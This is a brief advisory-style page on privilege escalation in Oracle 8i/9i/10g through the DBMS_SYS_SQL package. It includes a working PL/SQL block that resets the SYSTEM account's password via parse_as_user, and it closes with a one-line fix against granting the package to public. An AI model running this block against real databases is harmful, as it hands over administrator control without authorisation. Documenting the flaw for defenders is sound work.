Become DBA via Oracle DBMS_SYS_SQL in Oracle 8i / 9i / 10g

The following test case is from Oracle itself. A test case is nothing else than an exploit or proof of concept code. This test case allows to become DBA if the permission on DBMS_SYS_SQL are granted . By default only XDB has execute permission. Sometimes PORTAL30, PORTAL30_SSO and OAS_PUBLIC has also execute permission on DBMS_SYS_SQL.

Metalink note 112271.1 gives the following advice:

grant execute privileges on DBMS_SYS_SQL to the (default user) OAS_PUBLIC.

BE CAREFUL DOING THIS...

Example
declare
uid number;
sqltext varchar2(100) := 'alter user system identified by hacker';
myint integer;

begin
select user_id into uid from all_users where username like 'SYSTEM';

myint:=sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(myint,sqltext,dbms_sql.native,UID);

sys.dbms_sys_sql.close_cursor(myint);
end ;
/

Solution
Never grant DBMS_SYS_SQL to public.